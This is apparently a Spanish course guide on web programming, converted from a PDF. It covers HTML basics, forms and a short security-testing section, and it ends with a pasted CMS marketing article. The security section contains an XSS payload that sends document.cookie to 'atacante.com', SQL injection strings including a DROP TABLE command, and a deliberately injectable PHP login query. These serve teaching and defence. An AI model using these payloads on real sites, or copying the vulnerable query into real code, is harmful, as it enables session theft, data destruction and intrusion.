Programación de Aplicaciones Web.pdf

Guía Didáctica de Programación de Aplicaciones Web
Programación
de Aplicaciones Web

1. INTRODUCCIÓN AL DESARROLLO WEB
La World Wide Web o simplemente WWW o Web es uno de los métodos más
importantes de comunicación que existe en Internet. Consiste en un sistema de información
basado en Hipertexto (texto que contiene enlaces a otras secciones del documento o a
otros documentos). La información reside en forma de páginas Web en ordenadores que
se denominan servidores Web y que forman los nodos de esta telaraña. Se denomina
páginas Web a documentos que contienen elementos multimedia (imágenes, texto, audio,
vídeo, etc.) además de enlaces de hipertexto.
Entrando en la Web a través de cualquier servidor se puede navegar por toda la red,
gracias a que la mayoría de las páginas Web contienen enlaces a otras páginas Webque
pueden estar localizadas en el mismo servidor o en cualquier otro servidor de Internet.
El servicio WWW es el servicio multimedia de Internet más extendido. Fue desarrollado

en el CERN (Centre Européen de la Recherche Nucléaire, Suiza) en 1992 y desde
entonces se ha extendido hasta ser uno de los servicios más populares de Internet. Los
primeros servicios de Internet se basaban en texto y no eran muy intuitivos. Por ello se
comenzó a desarrollar en el CERN suizo un servicio que permitiera la inclusión de cualquier
tipo de contenido multimedia y que fuera cómodode utilizar.
La Web tiene una estructura Cliente-Servidor de forma que los
proveedores de información (servidores) atienden a las peticiones de los
programas cliente (normalmente denominados navegadores o browsers) que
son manejados por el usuario final.
Además, este software cliente, por ser más moderno, tiene lapeculiaridad
de que es capaz de entenderse con otro tipo de servicios o protocolos, como son ftp,
news, gopher..., de manera que sólo hace falta un programa para utilizar todos los servicios
disponibles en la red.

Una de las características importantes de la Web es que fue creada por un grupo de
científicos interesados en trabajar en equipo. Esto hizo que se trabajara mucho en superar
las incompatibilidades entre distintos ordenadores y distintos sistemasoperativos.
Otra característica de las páginas Web es la utilización del hipertexto. Por hipertexto
se entiende cualquier texto que incluye un enlace o salto a otra zona de la misma página o
en otra página distinta localizada incluso en otro servidor. Un enlace también puede estar
asociado a una imagen o a un icono. El hipertexto suele aparecer subrayado y en un color
diferente al resto del texto para destacarlo. En los navegadores actuales tan sólo se tiene
que hacer un clic con el ratón sobre el enlace para cargar automáticamente el elemento
referenciado.
A continuación se explican los pilares en los que se basa el servicio Web:
 http (hipertext transfer protocol):

El protocolo http es el protocolo utilizado para la transferencia de páginas Web. Éste es
el protocolo con el que se entienden cliente y servidor y por medio de él puede recibirse
información de todo tipo (texto, gráficos, etc.),
 html (HyperText Markup Language):
Es un lenguaje de definición de páginas con extensiones hipertextuales portable a
cualquier tipo de plataforma gráfica. Este lenguaje tiene la ventaja de ser muy sencillo y
potente, pues permite combinar imágenes, textos y enlaces. La Web es en realidad una
red de servidores dentro de Internet que ofrecen páginas hipertextuales en formato html.
Este lenguaje permite formatear con relativa sencillez documentos, incluyendo las
posibilidades de edición más normales, como diferentes tamaños y tipos de letra, gráficos,
tablas, listas, formularios y menús.
 URL (Uniform Resource Locator) :

Es el mecanismo con el cual la Web asigna una dirección única a cada uno de los
recursos de información localizado en cualquier lugar de Internet. Consiste en uncódigo
que contiene la identificación del servicio, la dirección del servidor (se puede especificar
hasta el número de puerto), y, si es necesario, el directorio donde se encuentran los
ficheros dentro del servidor. De esta forma se direccionan los recursos accesibles a
través de un navegador Web. El formato general de una URLes el siguiente:
protocolo o servicio://dirección de la máquina:puerto/directorio/fichero
- protocolo o servicio: especifica el protocolo a utilizar para acceder al objeto. Puede
ser uno de los siguientes:
telnet:// acceso remoto usando protocolo telnet;
tn3270://acceso remoto usando protocolo telnet con emulación 3270;ftp://
transferencia de ficheros;
gopher:// información en modo texto basado en menús;news: grupos

de interés;
file:// acceso a ficheros.
- Dirección de la máquina y puerto: identifican la máquina y el puerto. La dirección de la máquina se puede especificar tanto en
formato numérico IP o mediante su nombre de dominio. El campo que hace referencia al puerto puede eliminarse si el servicio está
en su puerto estándar.
- El directorio o camino (path) : Aquí se especifica la localización del recurso dentro del servidor de Web.
Ejemplos:
http://www.upm.es  Página principal del servidor Web de la U.P.M.
ftp://ftp.rediris.es  Servidor ftp anónimo de RedIRIS.
 Clientes Web:
Son los programas que se utilizan para 'navegar' por las páginas Web distribuidas por
Internet. Los más conocidos son: Netscape, Internet Explorer y Mosaic. Son de muy fácil
manejo y, además, suelen integrar programas que acceden a otros servicios como el correo

electrónico o las news.
El más popular en los primeros momentos de expansión explosiva de la WWW, fue
Mosaic que, con su estilo y elegante entorno gráfico, contribuyó enormemente a la
popularidad de la Web.
Uno de los más populares actualmente es el Netscape; tiene un aspecto similar a
Mosaic, pero incorpora algunas características propias, como la posibilidad de coloresen
el texto, texto parpadeante, colores o mosaicos como fondo del documento, etc.
Algunas características comunes de los navegadores son las siguientes:
Opciones de configuración: se puede especificar un documento inicial ("Home Page") que se
carga en cada nueva sesión, aspecto del texto, colores, programas auxiliares, aspectos de
seguridad, visualización de los botones, preferencias de correo y news, etc.
Marcadores (bookmarks) o lista de favoritos: son listas de direcciones de páginas Web de

Internet (URL’s) a las que el usuario incorpora las que más le interesan, para poder acceder
fácilmente a ellas en sesiones posteriores.
Activación/Desactivación de imágenes: posibilidad de cargar automáticamente las imágenes
de cada documento o no (el no cargar las imágenes automáticamente ahorra tiempo en la
visualización del documento). Es útil cuando cargamos páginas de las que sólo nos interesa
la información en formato de texto.
Caché: Zona de almacenamiento de documentos visitados. Muy útil para navegar fuera de
línea.
Plug-Ins o conectores: son programas o módulos de ayuda para visualizar documentos en
formato no HTML, como presentaciones multimedia, gráficos tridimensionales, etc. El
navegador guarda una lista de tipos de fichero asociados a visualizadores especiales.
Los documentos se pueden imprimir y guardar localmente, así como las imágenes y los
enlaces que los componen.
Es posible ver el ‘origen o fuente’ del documento, es decir, los códigos del lenguaje HTML que
componen el documento junto con el texto. Las versiones más modernas de los navegadores
incorporan editores del lenguaje html para modificar las páginas.

Otras características importantes del navegador se comentan a continuación:
Navegación sin conexión: se establece en el menú "Archivo" con la opción "Trabajar sin
conexión a la red". Esto permite que se recuperen páginas almacenadas en la 'cache'.
La cache es una zona del disco, cuyo tamaño es configurable, donde se almacenan
temporalmente las últimas páginas visitadas.
Llama automáticamente a los programas de correo, news, chat, etc.
Se pueden utilizar canales: normalmente es el usuario el que va a buscar la información
que le interesa a los distintos servidores de web. Los canales son un servicio adicional
de algunos navegadores. Se utilizan para que sean los proveedores los que envíen
información personalizada al usuario a medida que se actualizan.
Escritorio activo: se puede configurar el escritorio con componentes del web, es decir,
que se coloquen en él ventanas en la que aparezcan enlaces a direcciones Internet.

2. PROGRAMACIÓN WEB
CONCEPTOS
• HTML (Hyper Text Markup Language)
– Lenguaje con el que se escriben paginas web.
– Es un lenguaje de hipertexto.
– Permite escribir texto de forma estructurada.
– Compuesto por etiquetas (marcan el inicio y fin de cada elemento
del documento)
– Documento hipertexto contiene texto, imágenes sonido y
video (documento multimedia).

NAVEGADORES
• Interpreta el código HTML de la página.
• Internet Explorer y Netscape Navigator

EDITORES
• Programa que permite redactar documentos.
Editores visuales. Evitan la escritura de código HTML (la página se
construye).
Editores de texto. La pagina se crea a través del código HTML.

• Editores Visuales: (generan basura)
– Macromedia Dreamweaver, Microsoft Frontpage,Adobe
Pagemill, NetObjects Fusion, CutePage, HotDog Proffesional,
Netscape Composer y Arachnophilia, MsWord otros.
• Editores de texto.(solo lo necesario)
– Wordpad
– Block de notas
– Notepad++
– Otros…

Estructura de una página
• <html>
<head>
...
<title>
Curso de HTML
</title>
</head>
<body>
...
</body>
</html>
Entre las etiquetas <html> y </html> esta
comprendido el resto del código HTML de la
página
<head> y </head>. Cabecera de la pagina
puede contener
<link>, <style>, <script> <meta>
<title>
El cuerpo del documento contiene la
información propia del documento (el texto
de la página, las imágenes, los formularios,
etc.
color o la imagen de fondo de la
página .

Algunos atributos de “body”
<body bgcolor="#0000FF">
<body bgcolor="blue">
<body background="fondo.gif">
<body background="imagenes/fondo.gif">
<body text="#FF0000">
<body leftmargin="20" topmargin="0" marginwidth="20" marginheight="0" >
Colores en hexadecimal
Color Hexadecimal Nombre
#FFFFFF white
#000000 black
#000080 navy
#0000FF blue
#008000 green
#008080 teal
#00FF00 lime
#00FFFF aqua
#800000 maroon
#800080 purple
#808000 olive
#808080 gray
#C0C0C0 silver
#FF0000 red

#FF00FF fuchsia
#FFFF00 yellow
ACTIVIDAD
Creación de la primera pagina
• Crear un directorio de trabajo para la pagina.(ejm. mipagina) en “mis
documentos”
• Con el bloc de notas escribir el siguiente codigo:
• Guardar el archivo “guardar como” con el nombre inicio.html en la carpeta
“mipagina”
<html>
<head>
<title>pagina de inicio</title>
</head>
<body bgcolor="99CC99" >
</body>
</html>

La página resultante es como sigue:

• Se requiere dar formato al texto
TEXTO
• < y > indican inicio y fin de etiqueta
Algunos caracteres
especiales
Se puede escribir directamente
sin la representación en HTML
Carácter Representación
< <
> >
á á
Á Á
é é
É É
í í
Í Í
ó ó
Ó Ó
ú ú
Ú Ú
ñ ñ
Ñ Ñ
™ 
&nbsp espacio en blanco

. comentarios
<br> Saltos de línea,no requiere fin de etiqueta
<pre> y </pre>
texto preformateado. Aparece tal como se
lo escribe, no requiere saltos de linea ni
espacios en blanco en HTML
No permite incluir en el texto etiquetas:
<img> (para incluir imágenes), <object>
(para incluir objetos como animaciones),
<big>, <small>, <sub> ni <sup>
<hr>
Regla horizontal
separar secciones dentro de una misma
página.
no precisa ninguna etiqueta de cierre

algunos atributos de la regla horizontal:
Atributo
Significado Posibles valores
align
alineación de la
regla dentro de la
página
left (izquierda)
right (derecha)
center (centro)
width ancho de la regla
un número, acompañado de % cuando se desee
que sea en porcentaje
size alto de la regla un número
noshade
eliminar el
sombreado de la
regla
no puede tomar valores
Inicio<hr align="left" width=“50%" size=“10" noshade>Bienvenidos a mi página.

Una ilustración simple
<html>
<head>
<title>pagina de inicio</title>
</head>
<body bgcolor="99CC99" background="imagenes/fondopatas.gif"
leftmargin="40" topmargin="40" marginwidth="40" marginheight="40">
hola mundo este es un texto común
como están, canción&oacute<br>
cuando se esta pensando
<pre>Hola, BIENVENIDOS
esta ES MI PÁGINA WEB
y esto un texto preformateado</pre>
Inicio de un separador horizontal<hr align="left" width="50%" size="10"
noshade>Bienvenidos a mi página.
</body>
</html>

<font> y </font> propiedades del texto
Atributo Significado Posibles valores
face fuente nombre de la fuente, o fuentes
color color del texto número hexadecimal o texto predefinido
size tamaño del texto
valores del 1 al 7, siendo por defecto el 3,
o desplazamiento respecto al tamaño por defecto,
añadiendo + o - delante del valor

Fuente para todo el documento
<body>
<basefont color="#006699" size="4" face="Arial">
<font color="#993366" size="4" face="Arial">
Bienvenidos a mi página, texto con propiedades
</font>

etiquetas asociadas al tipo de letra:
Etiqueta Significado Ejemplo
<b> negrita curso HTML aulaclic
<i> cursiva curso HTML aulaclic
<u> subrayado
curso HTML aulaclic
<s> tachado curso HTML aulaclic
<tt>
teletipo (máquinade
escribir) curso HTML aulaclic
<big>
aumenta el tamañode la
fuente curso HTML aulaclic
<small>
disminuye el
tamaño de la
fuente
curso HTML aulaclic

<p> y </p> Parráfos
atributo align: cuyos valores pueden ser left
(izquierda), right (derecha), center (centrado) o
justify (justificado).
<div> y </div> agrupar bloques de texto, pero con la
diferencia de que la separación entre
ellos es menor. Tiene los mismos
atributos de alineación.
<center> y </center> Texto centrado
<center>texto centrado</center>
<p align="center">este es un parrafo
muy simple (centrado)</p>
<p>Aqu&iacute encontra otro párrafo (la
separacion es amplia).</p>
<div align="center">otro parrafo con
agrupacion de bloques </div>
<div>note que el espacio es menor</div>

Encabezados - Títulos
Etiqueta Ejemplo
<H1> Título 1: HTML
<H2>
Título 2: HTML
<H3>
Título 3: HTML
<H2 align="center">El lenguaje HTML</H2><H4>Apartado 1: Las etiquetas</H4>

Marquesinas
<marquee> y </marquee>.
<marquee bgcolor="#006699" behavior="alternate" direction="right">
<b><font color="#FFFFCC" size="5">Esto es una marquesina </font></b>
</marquee>
behavior alternate scroll slide
direction down up left right
Listas
•Perro
•Gato
•Periquito
<li>Perro</li>
<li>Gato</li>
<li>Periquito</li>

<ul type="circle">
<li>Perro</li>
<li>Gato</li>
<li>Periquito</li>
</ul>
<ul> y </ul>. Lista desordenada
viñeta
circle (círculo), disc (disco) o square (cuadrado).
<ol> y </ol>. Lista ordenada
type
1 (números), a (letras minúsculas), A (letras
mayúsculas), i (numeros romanos en minúsculas)
o I (números romanos en mayúsculas).
Listas anidadas: combinación de las anteriores.

Taller Uno
1. Crear una pagina de inicio en blanco
2. Colocar un titulo centrado y subrayado (mi pagina personal)
3. Insertar una marquesina (con fondo rojo, tamaño de letra 5, y
comportamiento continuo.
4. Insertar un párrafo de texto con sangría a la izquierda y
alineación a la izquierda.
5. Crear una división horizontal .
6. Escribir un texto ( párrafo) centrado que indica una frase
arbitraria.
7. Insertar una división horizontal.
8. Insertar un texto preformateado que introduce a nuestras
ocupaciones principales (centrado).
9. Crear una lista que muestra las áreas de interés de
información.
10.Insertar listas anidadas a cada item.

ENLACES
hiperenlace, hipervínculo, o vínculo
<a> y </a>.
href especifica la página a la que está asociado el enlace
Referencia absoluta: Conduce a una ubicación externa al sitio
Referencia relativa al sitio: Conduce a un documento situado
dentro del mismo sitio
<a href="//D:/diplomado/tutoriales/html/index.htm">navegar por el tutorial</a>
<a href="http://www.aulaclic.com">Visita www.aulaclic.com</a>
<a href="inicio1.html">cambiar a otro documento "ref. relativa"</a>
<a href="../mipagina/imagenes/inicio1.html">otra carpeta </a>

Destino del enlace
determina en qué ventana va a ser abierta la página vinculada
atributo target _blank Abre el documento vinculado en una
ventana nueva del navegador.
_self Abre el documento vinculado en el
mismo marco o ventana que el vínculo
Anclas o puntos de fijación
permite ir directamente al apartado deseado en un documento extenso
<a name="miancla"></a>Texto con ancla define el ancla
<a href="#miancla">Enlace al ancla</a> lleva al ancla
<a href="inicio1.html" target="_blank">
cambiar a otro documento "ref. relativa"</a> <br>

Correo electrónico:
<a href="mailto:jucelele@hotmail.com">mi e-mail </a>
Vínculo a ficheros para descarga:
<a href="mailto:jucelele@hotmail.com?subject=el asunto del mensaje">
mi e-mail </a>
<a href="sib1.doc" target=_blank >
haz clic aquí para descargar el archivo
</a>

IMAGENES
<img>
src : especifica el nombre de la imagen
Las imágenes pueden ser de formatos diferentes: bmp, gif, jpg, etc
El atributo border puede tomar valores numéricos
<img src="imagenes/gatito.gif" alt="imagen ejemplo">
<img src="imagenes/foto.gif" alt="mi fiesta">
<img src="imagenes/gatito.gif" alt="imagen ejemplo" border="4">

imagen con borde y con un enlace:
tamaño de la imagen
width (anchura) y height (altura)
Alineacion de la imagen align
Este atributo indica la alineación de las imágenes con
respecto a la línea de texto en la que se encuentran.
<a href="inicio1.html" target="_blank" >
<img src="imagenes/gatito.gif" border="4" >
</a>
<img src="imagenes/foto.gif" alt="mi fiesta" width="500" height="400">

Los valores del atributo align pueden ser los siguientes:
bottom inferior
left izquierda
middle medio
right derecha
texttop
texto
superior
top superior
Este
<img src="imagenes/gatito.gif" alt="imagen ejemplo" border="4" align="middle">
es un grafico

TABLAS
<table> y </table> INICO Y FIN DE TABLA
<tr> y </tr> Inicio y fin de fila
<td> y </td> columna o celda
<table>
<tr>
<td>…</td>
<td>…</td>
</tr>
<tr>
<td>…</td>
<td>…</td>
</tr>
……..
</table>
inicio de tabla
inicio de fila 1
celda 1 de la fila 1
fin de la fila 1
inicio de fila 2
fin de la fila 2
fin de la tabla

Atributos de una tabla:
Atributo
width ancho de la tabla
un número, acompañado de % cuando se
desee que sea en porcentaje
height altura de la tabla
cellpadding
espacio entre el contenido
de las celdas y el borde
un número
cellspacing espacio entre celdas un número
border grosor del borde un número
align
alineación de la tabla
dentro de la página
left (izquierda)
right (derecha)
center (centro)
bgcolor color de fondo número hexadecimal
background imagen de fondo número hexadecimal
bordercolor color del borde número hexadecimal
<table width="50%" border="2" align="center" cellspacing="0"
bordercolor="green" bgcolor="blue">

nombre descripción FOTOGRAFIA
FIESTA 4 DE JULIO POR EL
CENTENARIO
DELAFACULTAD
aquí va texto,
imágenes, video
GATITO
GRAFICO
EXTRAIDO
DELTUTORIAL
OTRO CUALQUIERA
PUEDE IR
CUALQUIER COSA
O
SIMPLEMENTE
TEXTO

<table border="2">
<tr>
<td>nombre</td>
<td>descripocion</td>
<td>FOTOGRAFIA</td>
</tr>
<tr>
<td>FIESTA 4 DE JULIO</td>
<td>POR EL CENTENARIO DE LA FACULTAD</td>
<td>aquí va texto, imágenes, video</td>
</tr>
<tr>
<td>GATITO</td>
<td>GRAFICO EXTARIDO DEL TUTORIAL</td>
<td><img src="imagenes/gatito.gif" alt="imagen ejemplo" border="4"></td>
</tr>
<tr>
<td>OTRO CUALQUIERA</td>
<td>PUEDE IR CUALQUIER COSA</td>
<td>O SIMPLEMENTE TEXTO</td>
</tr>
</table>

Atributos de una celda:
Atributo
width ancho de la tabla
height altura de la tabla
align
alineación horizontal del
contenido de la celda
left (izquierda)
right (derecha)
center (centro)
valign
alineación vertical del
contenido de la celda
baseline (línea de base)
bottom (inferior)
middle (medio)
top (superior)
bgcolor color de fondo número hexadecimal
background imagen de fondo número hexadecimal

<tr align="center" bgcolor="yellow">
<td bgcolor="purple">GATITO</td>
Para toda la fila la alineación es
Centrado y el fondo amarillo
Solo para la celda el fondo es púrpura
Titulo de columna
<th> y </th> idéntico a td pero centrado y negrilla
Combinación de celdas
colspan y rowspan
colspan especifica el número de columnas por las que se extenderá la celda
rowspan especifica el número de filas por las que se extenderá la celda

combinación de 4 columnas
NOMBRE
DATOS
FECHA
NOTA 1 NOTA 2
JUAN CARLOS 1.75 2.97 16/AGOSTO/2017
LUISA 3.65 2.65 30/AGOSTO/2017

<table width="575" border="2" cellspacing="2">
<tr align="center" valign="middle">
<th colspan="4">combinacion de 4 columnas</th>
</tr>
<th rowspan="2">NOMBRE</th>
<th colspan="2">DATOS</th>
<th rowspan="2">FECHA</th>
</tr>
<th>NOTA 1</th>
<th>NOTA 2</th>
</tr>
<td>JUAN CARLOS</td>
<td>1.75</td>
<td>2.97</td>
<td>16/AGOSTO/2017</td>
</tr>
<td>LUISA</td>
<td >3.65</td>
<td >2.65</td>
<td>30/AGOSTO/2017</td>
</tr>
</table>

MARCOS (FRAME)
<frameset> y </frameset> Define el conjunto de marcos
no requiere las etiquetas <body> y
</body>
Atributo Significado Posibles valores
cols
tamaño de cada una de
las columnas en que se
divide el documento
un número (acompañado de % cuando se
desee que sea en porcentaje) por cada
columna, separados por comas.
rows
tamaño de cada una de
las columnas en que se
divide el documento
un número (acompañado de % cuando se
desee que sea en porcentaje) por cada fila,
separados por comas.
frameborder
aparece o no el borde
de los marcos
yes
no
framespacing
separación entre los
marcos
un número
border grosor del borde

<frame> indica el documento a cargar en el marco
atributos de un marco:
Atributo
frameborder aparece o no el borde del marco
yes o 1
no o 0
name nombre del marco cualquier valor
noresize
si aparece, el usuario no podrá
redimensionar el tamaño de este marco
no puede tomar valores
marginwidth
anchura del margen con respecto a los
bordes del marco
marginheight
altura del margen con respecto a los
bordes del marco
scrolling
se mostrará o no la barra de
desplazamiento cuando la página del
marco no se pueda visualizar
completamente en él
yes
no
auto
src documento que se cargará en el marco ruta y nombre del documento

Destino de los enlaces de un marco
Los nombres de los marcos pueden constituirse en el destino
De un documento
En la página del marco izquierdo (menu.html) crear el siguiente enlace:
<a href="inicio1.html" target="marcoderecho">matematicas</a>

FORMULARIOS
Permite recoger datos introducidos por el usuario.
Un formulario está formado, entre otras cosas, por etiquetas,
campos de texto, menús desplegables, y botones
<form> y </form> indican el inicio y fin de un formulario
El atributo action indica una dirección de correo electrónico o la
dirección del programa que se encargará de procesar el contenido del
formulario.
El atributo method indica el metodo mediante el que se transfieren
las variables del formulario. Su valor puede ser get o post

ELEMENTOS DE UN FORMULARIO
<textarea> y </textarea> área de texto
<textarea name=“area1" cols="30" rows="3">
Aquí se escribe el texto</textarea>
<input> elemento de entrada
atributo name indica el nombre del elemento de entrada
atributo type indica el tipo de elemento de entrada.
El atributo size indica el número de caracteres
El atributo maxlenght indica el número de caracteres
El atributo value indica el valor inicial del campo de texto

Elementos para type:
TEXTO <input name="campo" type="text" value="Campo de texto"
size="20" maxlength="15">
CONTRASEÑA <input name="contra" type="password"
value="contraseña" size="20" maxlength="15">
BOTON <input name="boton" type="submit"
value="Enviar">
CASILLA DE
VERIFICACION
<input name="casilla" type="checkbox"
value="acepto" checked>
BOTON DE OPCION
<input name="prefiere" type="radio"
value="estudiar" checked>
<input name="prefiere" type="radio"
value="trabajar">

SELECION MULTIPLE
<select name="animal" size="3" multiple>
<option selected>---Elige animales---</option>
<option value="ave">Loro</option>
<option>Perro</option>
<option>Gato</option>
<option>Pez</option>
</select>

ESTABLECER
<input name="borrar" type="reset" id="borrar"value="borrar">

TESTING Y SEGURIDADES
Cross Site Scripting (XSS)
 Es un error que se produce en contexto de lenguaje de marcas
HTML,al generar la presentación de una página web.
 Un usuario puede inyectar código malicioso (HTML/Javascript)
que seejecuta en el contexto del browser del cliente.
 Permite comprometer información de otros usuarios
(ejecutarcódigo javascript, robar cookies, etc.).

Cross Site Scripting (XSS)
 Por medio de Javascript es posible controlar el browser de la
victimadel ataque, para realizar alguna de las siguientes
actividades:
 Robo de identidad / sesión:
Envía las cookies de sesión al website atacante.com. Es
posiblerealizarlo de manera asincronica con
XMLHttpRequest.
 Redirección del cliente hacia el sitio Web
especificado paraposible phishing:
<script>
document.location='http://atacante.com/'+document.cookie
</script>
<script>
document.location="http://atacante.com"
</script>

Injection Flaws
 SQL Injection es una de las vulnerabilidades de Injection más
comunes, y a lavez de mayor criticidad.
 Es un error que se produce en contexto de sentencia SQL.
 Un usuario es capaz de alterar la sentencia SQL , y así
alterar elcomportamiento de la aplicación, es posible:
 Añadir, Borrar y Extraer datos
 Ejecutar comandos del sistema operativo
 Es posible comprometer datos y servidores…

Injection Flaws – SQL Injection
<?
$link = mysql_connect("localhost", "root", "moth");
mysql_select_db("w3af_test", $link);
$sql_stm = "SELECT * FROM users where username='" .
$_POST["username"] ."' and password='" . $_POST["password"]
. "'";
$result = mysql_query( $sql_stm, $link);
…
?>

 SELECT * FROM users WHERE
username=‘spam’ ANDpassword=‘eggs’
 SELECT * FROM users WHERE username=‘’ OR
1=1--’ ANDPassword=‘eggs’
 SELECT * FROM users WHERE username='spam' AND
Password=‘’;DROP TABLE usuarios; --’












 Es posible encontrar vulnerabilidades de SQL injection
en lossiguientes vectores:
 Parámetros por Query Strings (GET)
 Campos de Formularios (POST)
 Cookies
 Cabeceras HTTP
 Archivos
 Para detectar vulnerabilidades de SQL injection, es necesario
enviarrequests HTTP especialmente formados, utilizando
alguna de las siguientes secuencias en los vectores
anteriormente mencionados:
 '  a'b'c'
 *  %
 ;  --
 "



Metodologías de análisis de seguridad web
 Las aplicaciones web pueden ser analizadas utilizando distintos
enfoques,entre ellos, es posible distinguir los siguientes:
 Análisis estático de código: El analista de seguridad posee
acceso al código fuente de la aplicación, y posiblemente a
manuales del usuariopero NO POSEE acceso a la aplicación
en sí misma.
 White box: En este enfoque, el analista de seguridad posee
acceso al código fuente de la aplicación, manuales del usuario,
credenciales válidasdel sistema, configuración del servidor Web, y
acceso a la aplicación en símisma.
 Black box: En este enfoque, el analista de seguridad posee
únicamenteacceso a la aplicación.






White box testing / Análisis estático de código
 Ventajas:
 Más información disponible, más vulnerabilidades que se
puedendescubrir.
 Es posible descubrir TODAS las vulnerabilidades (si se tiene
el tiemposuficiente). No es necesario suponer nada, todo está
en el código.
 Desventajas:
 Suele suceder, sobre todo con sistemas grandes, que la
cantidad deinformación es tanta que puede resultar muy
complejo manejarla.
 No es posible analizar todas las líneas del programa en búsqueda
de vulnerabilidades, lo cual hace que sea complejo definir
exactamente quesecciones analizar.
 Cuando no es posible acceder a la aplicación, es común que el
analista se"pierda" entre tanto código.






Black box testing
 Ventajas:
 Simplicidad
 Menor tiempo de testing
 Provee un enfoque real, ya que se posee el mismo
nivel deconocimiento sobre la aplicación que un
potencial intruso
 Desventajas:
 Vulnerabilidades trivialmente detectables con white box
testing,no pueden ser detectadas con esta enfoque. (if user
== ‘tester002’ and password == ‘backdoor ’)
 No se aprovecha el código fuente de la aplicación a
favor de laseguridad de la misma.






Sistema de gestión de contenidos (CMS): ¿por qué implementarlo en tu empresa?
CMS son las siglas de Content Management System, en español Sistema de Gestión de Contenidos. En síntesis, un CMS te permite crear,
organizar, publicar y eliminar contenidos de tu sitio web. Pero, por otro lado, en este artículo entenderás cómo y por qué utilizar un CMS
en tu estrategia digital.
¿Qué es un CMS?
El término CMS proviene del inglés Content Management System, que significa Sistema de Gestión de Contenidos. Es un sistema online
que nos permite poner en marcha un sitio web de forma práctica y rápida.
Pero, no es únicamente eso, sino que su gran ventaja, como su nombre lo dice, es la posibilidad de administrar contenidos dinámicos de
forma sencilla, es decir, mantener un blog, un ecommerce o cualquier otro tipo de página web que demande una actualización constante.
Imagina tener que realizar de forma manual actualizaciones semanales o, incluso, diarias, sin duda no funcionaría.
Para esto y mucho más, un CMS es la solución ideal para todos los que necesitan un sitio web que no sea 100% estático o momentáneo
(o sea, hecho para permanecer funcionando por un breve período).
¿Cómo funciona un sistema de gestión de contenidos
(CMS)?
Imagínate que trabajas en un periódico o una revista. Tu audiencia siempre está buscando noticias de último momento y temas de
actualidad, por lo que tú y tu equipo deben producir contenidos nuevos todos los días.

Pero este proceso de creación es complejo y, para cada nuevo contenido, es necesario crear la estructura técnica completa de la página.
Para empeorar las cosas, cada actualización debe realizarse manualmente.
En tal escenario, ¿te imaginas lo caro y tardado que sería este trabajo? Sería insostenible como negocio, en términos de tiempo y
dinero.
Además, suponiendo que pudieras mantener el proyecto en marcha, la necesidad de contar con profesionales altamente capacitados y
con los conocimientos técnicos necesarios también podría limitar en gran medida la aparición de nuevos negocios.
Afortunadamente, nuestra realidad es bastante diferente. Para solucionar este tipo de problema estructural y operativo, se creó el CMS.
El concepto de CMS representa, en la mayoría de los casos, software libres, creados y difundidos por programadores de todo el mundo, en
el que una persona puede crear su sitio web, blog y otras opciones, con extrema facilidad.
Y cuando usamos la expresión “la mayoría de los casos” es porque aunque las principales opciones del mercado (de las que hablaremos
más adelante) son gratuitas, también existen opciones pagas.
Uno de los mayores beneficios del CMS es su facilidad de uso que te permite concentrarte más en la estrategia y menos en la
parte operativa.
Es decir, el usuario no tiene que preocuparse por la parte técnica de la creación. Solo necesita alimentar una base de datos, de forma
sencilla y rápida, con el contenido que quiere publicar.
Todo los contenidos se administran de forma eficiente, pues la estructura está diseñada para garantizar un mejor desempeño de las
páginas, una buena experiencia de usuario y, además, para darnos la posibilidad de escalar el sitio sin problemas en el futuro.
¿Cuáles son las características principales de un CMS?
Puede que no lo parezca, pero producir y publicar un contenido simple o una página en un sitio web involucra muchos elementos que
deben tener soporte de un CMS.
Esto queda muy claro cuando miramos algunas de las principales características de este tipo de sistema:

 creación y publicación de páginas;
 edición de textos y códigos de sitios web;
 moderación de comentarios;
 control de inventario y sistema de ventas (si es ecommerce);
 instalación de plugins y extensiones para aumentar las funciones del sitio;
 biblioteca de medios, para cargar imágenes y videos que se utilizarán en el sitio web.
¿Cuáles son los beneficios de un CMS? Conoce los 7
principales
El CMS tiene muchos beneficios para los emprendedores que quieran crear sus páginas en Internet, a continuación mencionaremos los 7
principales.
1. Facilidad de creación y mantenimiento
Puede ser que la principal ventaja de utilizar un software CMS sea la gran facilidad que le ofrece quienes quieren desarrollar una página
y mantenerla actualizada.
El acceso al trabajo se realiza directamente en el navegador, es decir, no es necesario descargar ningún sistema específico y
complejo. Nada que ocupe espacio en tu computadora o teléfono celular.
Esto te permite crear tus páginas rápidamente y aprovechar mejor las oportunidades del mercado para ofrecerle contenidos de más calidad
a los usuarios.
2. Facilidad de uso
Quien tiene un sitio web sabe que es necesario estar constantemente atento a las novedades y tendencias que aparecen en el mercado.
Por lo tanto, tus páginas deben ser flexibles para aprovechar estas nuevas posibilidades y utilizar recursos innovadores en todo su
potencial.

Con un buen CMS, además de la facilidad que mencionamos, cualquier miembro de tu equipo podrá ayudarte a mantener tu estrategia
digital.
Esto incluye crear páginas en el sitio web de la empresa, agregar imágenes, videos, testimonios de clientes y más.
Todo esto se puede hacer de manera extremadamente fácil y rápida, sin la necesidad de un conocimiento profundo de
programación, diseño o diagramación.
Además, una de las principales características del CMS es, como su nombre lo indica, su capacidad para administrar contenidos en lugar
de simplemente crearlos.
Es decir, de nada sirve tener muchas posibilidades y hacer uso del gestor de contenidos de forma sencilla sin seguir siempre la evolución
de los resultados.
Y de nuevo, un CMS de calidad facilita esta parte del trabajo. Después de todo, todo se puede probar y optimizar para obtener mejores
resultados con más agilidad.
3. Gran cantidad de recursos adicionales
El principal CMS del mercado tiene una amplia gama de características adicionales. Estos se pueden agregar al sitio web con unos pocos
clics para crear la mejor experiencia posible para el consumidor y hacer que la administración sea más eficiente.
Aquí solo hay una advertencia, en la que profundizaremos más a continuación: vale la pena señalar las características del software
elegido para tener la seguridad de que resuelva todas tus necesidades.
Si notas que falta algún elemento importante, busca complementos y herramientas adicionales. Si realmente no puedes encontrarlo, es
posible que desees buscar otro CMS.
4. Posibilidad de optimización para búsquedas orgánicas
Todo emprendedor que busca establecer su sitio web como un referente en el mercado online sabe (si no lo sabe, ¡debería saberlo!) que
es necesario conocer y aplicar las técnicas de optimización para la búsqueda orgánica, el Search Engine Optimization (SEO).

El SEO tiene como objetivo aumentar las posibilidades de que los motores de búsqueda, como Google, encuentren las páginas de
tu sitio, pues cuantas más personas lo encuentren de forma orgánica (sin anuncios), mejor será tu proceso de adquisición de clientes.
¡Siempre y cuando tengas una estrategia de contenidos sólida y un plan de marketing adecuado!
Puedes utilizar diferentes técnicas, como:
 link building para aumentar la autoridad y mejorar tu posicionamiento en las SERPs;
